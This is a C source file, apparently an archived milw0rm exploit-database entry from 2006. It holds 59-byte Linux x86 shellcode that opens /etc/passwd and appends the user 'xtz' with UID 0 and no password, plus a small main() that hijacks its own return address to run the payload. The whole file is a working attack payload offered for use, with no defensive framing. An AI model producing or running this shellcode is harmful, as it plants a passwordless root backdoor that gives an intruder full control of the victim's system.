41 lines
No EOL
1.1 KiB
C
41 lines
No EOL
1.1 KiB
C
/*
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* (linux/x86) adds user 'xtz' without password to /etc/passwd - 59 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x6a\x05" // push $0x5
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//
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// <_exit>:
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//
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"\x58" // pop %eax
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"\x99" // cltd
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"\x31\xc9" // xor %ecx,%ecx
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"\x66\xb9\x01\x04" // mov $0x401,%cx
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"\x52" // push %edx
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"\x68\x73\x73\x77\x64" // push $0x64777373
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"\x68\x63\x2f\x70\x61" // push $0x61702f63
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"\x68\x2f\x2f\x65\x74" // push $0x74652f2f
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"\x89\xe3" // mov %esp,%ebx
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"\xcd\x80" // int $0x80
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"\x68\x3a\x3a\x3a\x0a" // push $0xa3a3a3a
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"\x68\x3a\x30\x3a\x30" // push $0x303a303a
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"\x68\x78\x74\x7a\x3a" // push $0x3a7a7478
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"\x89\xc3" // mov %eax,%ebx
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"\xb0\x04" // mov $0x4,%al
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"\x89\xe1" // mov %esp,%ecx
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"\xb2\x0c" // mov $0xc,%dl
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"\xcd\x80" // int $0x80
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"\x6a\x01" // push $0x1
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"\xeb\xc7"; // jmp <_exit>
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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